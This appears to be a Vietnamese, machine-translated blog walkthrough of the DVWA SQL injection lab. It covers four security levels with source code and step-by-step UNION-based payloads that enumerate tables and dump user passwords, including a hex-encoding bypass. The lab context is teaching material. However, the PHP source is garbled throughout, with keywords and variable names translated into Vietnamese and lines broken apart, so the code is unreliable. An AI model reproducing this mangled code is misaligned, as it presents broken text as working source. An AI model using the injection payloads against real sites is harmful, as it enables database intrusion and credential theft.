SQL Insert đề cập đến việc kẻ tấn công phá hủy các câu lệnh truy vấn SQL bằng cách chèn các lệnh SQL độc hại vào. cấu trúc để đạt được mục đích thực thi các câu lệnh SQL độc hại.
Nguồn tiêm SQL
lỗ hổng/sqli/nguồn/low.php
//isset() được sử dụng để kiểm tra xem biến có được đặt và không NULL hay không.
nếu( isset( $_REQUEST[ 'Gửi' ] ) ) {
// Nhận đầu vào
$id = $_YÊU CẦU[ 'id' ];
// Không có sự kiểm tra nào đối với các tham số chúng ta đã truyền vào đây.
chuyển ($_DVWA['SQLI_DB']) {
trường hợp MYSQL:
// Kiểm tra cơ sở dữ liệu
$query = "CHỌN tên, họ TỪ người dùng NƠI user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) hoặc die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Lấy kết quả
trong khi( $row = mysqli_fetch_assoc( $result ) ) {
// Lấy giá trị
$first = $row["first_name"];
$last = $row["họ"];
// Phản hồi cho người dùng cuối
echo "
ID: {$id}
Tên: {$first}
Họ: {$last}
";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
phá vỡ;
trường hợp SQLITE:
$sqlite_db_connection toàn cầu;
#$sqlite_db_connection = SQLite3 mới($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(đúng);
$query = "CHỌN tên, họ TỪ người dùng NƠI user_id = '$id';";
#in $query;
thử {
$results = $sqlite_db_connection->query($query);
} catch (Ngoại lệ $e) {
echo 'Đã phát hiện ngoại lệ: ' . $e->getMessage();
ra();
}
nếu ($results) {
trong khi ($row = $results->fetchArray()) {
// Lấy giá trị
$first = $row["first_name"];
$last = $row["họ"];
// Phản hồi cho người dùng cuối
echo "
ID: {$id}
Tên: {$first}
Họ: {$last}
";
}
} khác {
echo "Lỗi khi lấy dữ liệu".$sqlite_db->lastErrorMsg();
}
phá vỡ;
}
}
?>
Từ phân tích trên, chúng ta có thể biết rằng chúng ta nên sử dụng tính năng chèn ký tự trong phép tiêm.
Để ý:
Chèn ký tự SQL là khi kẻ tấn công xâm phạm các câu lệnh SQL của ứng dụng bằng cách nhập các ký tự độc hại. Ví dụ: kẻ tấn công có thể lừa ứng dụng tạo truy vấn SQL không an toàn bằng cách chèn dấu ngoặc đơn hoặc các ký tự đặc biệt khác vào trường nhập. Kẻ tấn công có thể khai thác lỗ hổng này để thực thi mã SQL độc hại, chẳng hạn như xóa, sửa đổi hoặc làm lộ dữ liệu trong cơ sở dữ liệu.
Việc chèn số tương tự như việc chèn ký tự SQL, nhưng kẻ tấn công cố gắng nhập các số độc hại thay vì ký tự. Ví dụ: kẻ tấn công có thể lừa ứng dụng tạo ra các phép tính số học không an toàn bằng cách nhập số âm. Kẻ tấn công có thể khai thác lỗ hổng này để thực thi mã độc, chẳng hạn như tấn công tràn ứng dụng, từ đó đánh cắp dữ liệu.
Khai thác:
(1) Số lượng ký tự để đánh giá.
Chúng tôi sử dụng order by để xác định số lượng trường. Khi order by báo lỗi, đó là số lượng trường.
1' hoặc 1=1 theo thứ tự 1 # 。
1' hoặc 1=1 theo thứ tự 2 # 。
1' hoặc 1=1 theo thứ tự 1 # 。
。
。
Từ trên, chúng ta biết số trường là 2. .
(2) Xác định thứ tự các trường hiển thị.
1' chọn liên hợp 1,2 # 。
。
。
(3) Lấy cơ sở dữ liệu hiện tại.
1' hợp nhất chọn 1, cơ sở dữ liệu() # 。
。
。
(4) Lấy bảng vào cơ sở dữ liệu.
1' union select 1,group_concat(table_name) từ information_schema.tables nơi table_schema=database() # 。
。
。
Nhận hai bảng lưu bút và người dùng.
(5) Lấy tên trường.
1' union select 1,group_concat(column_name) từ information_schema.columns nơi table_name='users' # 。
。
。
Lưu ý rằng có 8 trường trong bảng người dùng, đó là user_id, first_name, Last_name, người dùng, mật khẩu, hình đại diện, Last_login, failed_login.
(6) Lấy dữ liệu.
1' hoặc 1=1 hợp nhất chọn group_concat(user_id,first_name,last_name),group_concat(password) từ người dùng # 。
。
。
Việc thu thập thông tin đã kết thúc và việc khai thác lỗ hổng đã kết thúc.
Trung bình:
Kiểm tra mã:
Lỗ hổng SQL Injection Nguồn
/sqli/nguồn/trung bình.
php
php
nếu như
(
tập hợp
(
$_POST
[ 'Nộp'
] ) ) {
//
Nhận đầu vào
$ID
=
$_POST
[ 'nhận dạng'
];
//
Sử dụng hàm mysqli_real_escape_string() để thoát các ký tự đặc biệt như dấu ngoặc đơn và dấu ngoặc kép
$ID
=
mysqli_real_escape_string
(
$ TOÀN CẦU
["___mysqli_ston"],
$ID
);
công tắc
(
$_DVWA
['SQLI_DB'
]) {
trường hợp
MYSQL
:
$truy vấn
= "CHỌN tên, họ TỪ người dùng NƠI user_id =
$ID
;"
;
$kết quả
=
truy vấn mysqli
(
$ TOÀN CẦU
["___mysqli_ston"],
$truy vấn
) hoặc
cái
( '' .
lỗi mysqli
(
$ TOÀN CẦU
["___mysqli_ston"]) . '
'
);
//
Nhận kết quả
trong khi
(
$hàng
=
mysqli_fetch_assoc
(
$kết quả
) ) {
//
Hiển thị giá trị
$đầu tiên
=
$hàng
["tên_đầu_tiên"
];
$cuối cùng
=
$hàng
["họ"
];
//
Phản hồi cho người dùng cuối
tiếng vọng
"
ID: {
$ID
}
Tên: {
$đầu tiên
}
Họ: {
$cuối cùng
}
"
; }
phá vỡ
;
trường hợp
Tiếng Việt:
toàn cầu
$sqlite_db_connection
;
$truy vấn
= "CHỌN tên, họ TỪ người dùng NƠI user_id =
$ID
;"
;
#
in $query;
thử
{
$kết quả
=
$sqlite_db_connection
->truy vấn(
$truy vấn
); }
nắm lấy
(
Ngoại lệ
$e
) {
tiếng vọng
'Đã phát hiện ngoại lệ: ' .
$e
->
lấy tin nhắn();
ra
(); }
nếu như
(
$kết quả
) {
trong khi
(
$hàng
=
$kết quả
->
lấyMảng()) {
//
Nhận giá trị
$đầu tiên
=
$hàng
["tên_đầu_tiên"
];
$cuối cùng
=
$hàng
["họ"
];
//
Phản hồi cho người dùng cuối
tiếng vọng
"
ID: {
$ID
}
Tên: {
$đầu tiên
}
Họ: {
$cuối cùng
}
"
; } }
khác
{
tiếng vọng
"Lỗi khi tải xuống".
$sqlite_db
->
LastErrorMsg(); }
phá vỡ
; } }
//
Điều này được sử dụng sau này trong trang index.php // Thiết lập ở đây để chúng ta có thể đóng kết nối cơ sở dữ liệu ở đây giống như trong phần còn lại của các tập lệnh nguồn
$truy vấn
= "CHỌN ĐẾM(*) TỪ người dùng;"
;
$kết quả
=
truy vấn mysqli
(
$ TOÀN CẦU
["___mysqli_ston"],
$truy vấn
) hoặc
cái
( '
' . ((
là_đối_tượng
(
$ TOÀN CẦU
["___mysqli_ston"])) ?
lỗi mysqli
(
$ TOÀN CẦU
["___mysqli_ston"]) : ((
$___mysqli_res
=
lỗi mysqli_connect
()) ?
$___mysqli_res
:
SAI
)) .
);
$số_hàng
=
mysqli_fetch_row
(
$kết quả
)[0
];
mysqli_đóng
(
$ TOÀN CẦU
["___mysqli_ston"
]);
?>
Đồng thời, chúng tôi nhận thấy rằng một biểu mẫu lựa chọn thả xuống đã được thiết lập trên trang giao diện người dùng để kiểm soát hoạt động nhập của người dùng.
。
。
Khai thác:
Mặc dù giao diện người dùng sử dụng menu lựa chọn thả xuống, chúng tôi vẫn có thể thay đổi các tham số bằng cách bắt các gói và gửi các tham số truy vấn được xây dựng độc hại.
(1) Xác định kiểu tiêm.
Ở đây, chúng tôi thực sự có thể đưa ra đánh giá trực tiếp. Chúng tôi đã tiến hành kiểm tra mã ở trên và phát hiện ra sự tồn tại của hàm mysqli_real_escape_string(). Sau đó, việc chèn ký tự chắc chắn sẽ gặp vấn đề nên chúng tôi trực tiếp thực hiện việc chèn số.
。
。
Vì giao diện người dùng sử dụng menu thả xuống nên chúng tôi phải sửa đổi các tham số bằng cách chụp các gói.
(2) Đoán số lượng trường, xác định thứ tự của các trường phản hồi, lấy cơ sở dữ liệu hiện tại và lấy các bảng trong cơ sở dữ liệu.
Bốn phần hoạt động này không khác nhiều so với Cấp độ thấp. Chỉ có các tuyên bố liên quan được đính kèm ở đây.
1
đặt hàng theo
3
#
1 liên kết chọn 1,2 #
1 hợp nhất chọn 1, cơ sở dữ liệu() #
1 union select 1,group_concat(table_name) từ information_schema.tables nơi table_schema=database() #
(3) Lấy tên trường trong bảng.
1 union select 1,group_concat(column_name) từ information_schema.columns nơi table_name='users '# 。
。
。
。
。
。
Chúng tôi đã xây dựng câu lệnh theo ý tưởng ban đầu, nhưng đã xảy ra lỗi do các dấu ngoặc đơn bị thoát nên chúng tôi đã sử dụng hệ thập lục phân để bỏ qua nó.
1 union select 1,group_concat(column_name) từ information_schema.columns nơi table_name=0x7573657273 # 。
。
。
Kèm theo đây là kịch bản.
nhập khẩu
binascii input_string
=
"
người sử dụng
"
#
Chuỗi cần chuyển đổi
#
Chuyển đổi một chuỗi sang định dạng thập lục phân bằng hàm b2a_hex() của mô-đun binascii
chuỗi_hex = binascii.b2a_hex(chuỗi_đầu_vào.mã_hóa(
'
utf-8
'
))
in
(chuỗi_hex)
#
Xuất chuỗi thập lục phân đã chuyển đổi
(4) Lấy dữ liệu.
1 hoặc 1=1 hợp nhất chọn group_concat(user_id,first_name,last_name),group_concat(password) từ người dùng # 。
。
。
Việc thu thập thông tin đã kết thúc và việc khai thác lỗ hổng đã kết thúc.
Cao:
Kiểm tra mã:
Lỗ hổng SQL Injection Nguồn
/sqli/nguồn/cao.
php
php
nếu như
(
tập hợp
(
$_PHIÊN
[ 'nhận dạng'
] ) ) {
//
Nhận đầu vào
$ID
=
$_PHIÊN
[ 'nhận dạng'
];
công tắc
(
$_DVWA
['SQLI_DB'
]) {
trường hợp
MYSQL
:
//
Kiểm tra cơ sở dữ liệu
//LIMIT 1 là câu lệnh giới hạn trong truy vấn SQL, được sử dụng để chỉ định số lượng hàng tối đa trong tập kết quả truy vấn. Trong mã này, nó được sử dụng để giới hạn kết quả truy vấn chỉ trả về một hàng dữ liệu, tức là lấy họ và tên của người dùng dựa trên ID phiên. Sử dụng LIMT1 có thể cải thiện hiệu quả truy vấn và tránh trả về lượng lớn dữ liệu trong tập kết quả truy vấn
$truy vấn
= "CHỌN tên, họ TỪ người dùng NƠI user_id = '
$ID
'GIỚI HẠN 1;"
;
$kết quả
=
truy vấn mysqli
(
$ TOÀN CẦU
["___mysqli_ston"],
$truy vấn
) hoặc
cái
( 'Có gì đó không ổn.
'
);
//
Nhận kết quả
trong khi
(
$hàng
=
mysqli_fetch_assoc
(
$kết quả
) ) {
//
Nhận giá trị
$đầu tiên
=
$hàng
["tên_đầu_tiên"
];
$cuối cùng
=
$hàng
["họ"
];
//
Phản hồi cho người dùng cuối
tiếng vọng
"ID: {
$ID
}
Tên: {
$đầu tiên
}
Họ: {
$cuối cùng
}
"
; } ((
là_null
(
$___mysqli_res
=
mysqli_đóng
(
$ TOÀN CẦU
["___mysqli_ston"]))) ?
SAI
:
$___mysqli_res
);
phá vỡ
;
trường hợp
Tiếng Việt:
toàn cầu
$sqlite_db_connection
;
$truy vấn
= "CHỌN tên, họ TỪ người dùng NƠI user_id = '
$ID
'GIỚI HẠN 1;"
;
#
in $query;
thử
{
$kết quả
=
$sqlite_db_connection
->truy vấn(
$truy vấn
); }
nắm lấy
(
Ngoại lệ
$e
) {
tiếng vọng
'Đã phát hiện ngoại lệ: ' .
$e
->
lấy tin nhắn();
ra
(); }
nếu như
(
$kết quả
) {
trong khi
(
$hàng
=
$kết quả
->
lấyMảng()) {
//
Nhận giá trị
$đầu tiên
=
$hàng
["tên_đầu_tiên"
];
$cuối cùng
=
$hàng
["họ"
];
//
Phản hồi cho người dùng cuối
tiếng vọng
"ID: {
$ID
}
Tên: {
$đầu tiên
}
Họ: {
$cuối cùng
}
"
; } }
khác
{
tiếng vọng
"Lỗi khi tải xuống".
$sqlite_db
->
LastErrorMsg(); }
phá vỡ
; } }
?>
Mặc dù LIMIT 1 được thêm vào nhưng chúng ta có thể nhận xét nó bằng #. Quá trình tiêm tương tự như trước và không có phần trình diễn bổ sung nào được thực hiện ở đây.
Không thể nào:
Kiểm tra mã:
Lỗ hổng SQL Injection Nguồn
/sqli/source/không thể.
php
php
nếu như
(
tập hợp
(
$_NHẬN
[ 'Nộp'
] ) ) {
//
Kiểm tra mã thông báo Anti-CSRF //isset() được sử dụng để kiểm tra xem biến đã được đặt chưa và có phải là NULL hay không.
checkToken(
$_YÊU CẦU
[ 'user_token' ],
$_PHIÊN
[ 'phiên_mã_thông_tin' ], 'index.php'
);
/*
checkToken() là một chức năng tùy chỉnh để kiểm tra xem mã thông báo bảo mật đã chuyển có hợp lệ hay không để đảm bảo rằng yêu cầu không bị giả mạo nhằm mục đích xấu. Hàm này chấp nhận ba tham số: user_token: mã thông báo bảo mật nhận được từ yêu cầu của người dùng. session_token: Mã thông báo bảo mật được lưu trữ trong phiên của người dùng. redirect: URL trang được chuyển hướng. Trước tiên, chức năng này sẽ kiểm tra xem user_token và session_token có khớp hay không. Nếu có sự không khớp, có thể là một cuộc tấn công CSRF, hàm này sẽ chấm dứt tập lệnh và in thông báo lỗi. Nếu có sự trùng khớp, hàm sẽ trả về true. Chức năng này thường được sử dụng để xử lý mọi hoạt động có thể dễ bị tấn công CSRF (chẳng hạn như gửi biểu mẫu). Đây là một kỹ thuật bảo mật phổ biến để đảm bảo rằng yêu cầu đến từ nguồn dự định và người dùng đã được ủy quyền để thực hiện hành động được yêu cầu. *?
*/
//
Nhận đầu vào
$ID
=
$_NHẬN
[ 'nhận dạng'
];
//
Một số đã được nhập vào? //is_numeric được sử dụng để kiểm tra xem giá trị là số hay chuỗi số. Hàm trả về true nếu giá trị là số hoặc chuỗi số, nếu không thì trả về false.
nếu như
(
là_số
(
$ID
)) {
$ID
=
lựa chọn
(
$ID
);
công tắc
(
$_DVWA
['SQLI_DB'
]) {
trường hợp
MYSQL
:
//
Kiểm tra cơ sở dữ liệu
$dữ liệu
=
$db
->prepare( 'CHỌN tên, họ TỪ người dùng NƠI user_id = (:id) GIỚI HẠN 1;'
);
$dữ liệu
->bindParam(':id',
$ID
, PDO::
Nội dung
$dữ liệu
->
thực hiện();
$hàng
=
$dữ liệu
->
tìm về();
//
Đảm bảo chỉ có 1 kết quả được trả về
nếu như
(
$dữ liệu
->rowCount() == 1
) {
//
Nhận giá trị
$đầu tiên
=
$hàng
[ 'tên_đầu_tiên'
];
$cuối cùng
=
$hàng
[ 'họ'
];
//
Phản hồi cho người dùng cuối
tiếng vọng
"ID: {
$ID
}
Tên: {
$đầu tiên
}
Họ: {
$cuối cùng
}
"
; }
phá vỡ
;
trường hợp
Tiếng Việt:
toàn cầu
$sqlite_db_connection
;
$stmt
=
$sqlite_db_connection
->prepare('CHỌN tên, họ TỪ người dùng NƠI user_id = :id GIỚI HẠN 1;'
);
$stmt
->bindValue(':id',
$ID
,
SQLITE3_INTEGER);
$kết quả
=
$stmt
->
thực hiện();
$kết quả
->
hoàn thiện();
nếu như
(
$kết quả
!==
SAI
) {
//
Không có cách nào để lấy được số hàng trả về // Điều này kiểm tra số cột (không phải số hàng) chỉ // như một biện pháp phòng ngừa, nhưng nó sẽ không ngăn chặn được ai đó đổ // nhiều hàng và xem từng hàng một.
$num_columns
=
$kết quả
->
số lượng các cột();
nếu như
(
$num_columns
== 2
) {
$hàng
=
$kết quả
->
lấy Mảng();
//
Nhận giá trị
$đầu tiên
=
$hàng
[ 'tên_đầu_tiên'
];
$cuối cùng
=
$hàng
[ 'họ'
];
//
Phản hồi cho người dùng cuối
tiếng vọng
"ID: {
$ID
}
Tên: {
$đầu tiên
}
Họ: {
$cuối cùng
}
"
; } }
phá vỡ
; } } }
//
Tạo mã thông báo Anti-CSRF
generateSessionToken();
?>
Đồng thời, mã này cũng sử dụng công nghệ PDO để vạch ra ranh giới rõ ràng giữa mã và dữ liệu, ngăn chặn hiệu quả việc tiêm SQL, đồng thời, chỉ có số kết quả truy vấn trả về mới được xuất thành công, nhờ đó ngăn chặn hiệu quả việc "cởi quần". ", Anti -Việc bổ sung cơ chế CSRFtoken giúp cải thiện hơn nữa tính bảo mật.
Ghi chú:
PDO (Đối tượng dữ liệu PHP) là một tiện ích mở rộng PHP cung cấp một cách trừu tượng để truy cập cơ sở dữ liệu mà không cần phải dựa vào một loại cơ sở dữ liệu cụ thể. PDO hỗ trợ nhiều loại cơ sở dữ liệu, bao gồm MySQL, SQLite, Oracle, PostgreSQL và SQL Server. Việc sử dụng PDO cho phép truy cập dữ liệu an toàn hơn, di động hơn và linh hoạt hơn đồng thời giảm sự phụ thuộc vào các chi tiết triển khai cụ thể của cơ sở dữ liệu.
Khi sử dụng PDO, trước tiên bạn cần xác định đối tượng kết nối PDO, đối tượng này chứa thông tin về kết nối cơ sở dữ liệu, chẳng hạn như tên máy chủ, số cổng, tên cơ sở dữ liệu, tên người dùng và mật khẩu, v.v. Sau khi kết nối được thiết lập, cơ sở dữ liệu có thể được truy cập bằng cách thực hiện các truy vấn SQL. PDO cung cấp một tập hợp các phương thức để chuẩn bị và thực hiện các truy vấn và trả về các đối tượng tập kết quả. Các biến liên kết có thể được sử dụng để ngăn chặn các cuộc tấn công SQL SQL và các giao dịch PDO có thể được sử dụng để đảm bảo tính nguyên tử và tính nhất quán của các hoạt động dữ liệu.
Tóm lại, công nghệ PDO cung cấp giải pháp truy cập cơ sở dữ liệu di động, linh hoạt và an toàn hơn, có thể giúp các nhà phát triển viết các ứng dụng PHP mạnh mẽ hơn và dễ bảo trì hơn.
Cuối cùng, bài viết về DVWA-SQLInjection (SQL SQL) kết thúc tại đây. Nếu bạn muốn biết thêm về DVWA-SQLInjection (SQL SQL), vui lòng tìm kiếm bài viết CFSDN hoặc tiếp tục duyệt các bài viết liên quan. tương lai blog của tôi! .
Tôi là một lập trình viên xuất sắc, rất giỏi!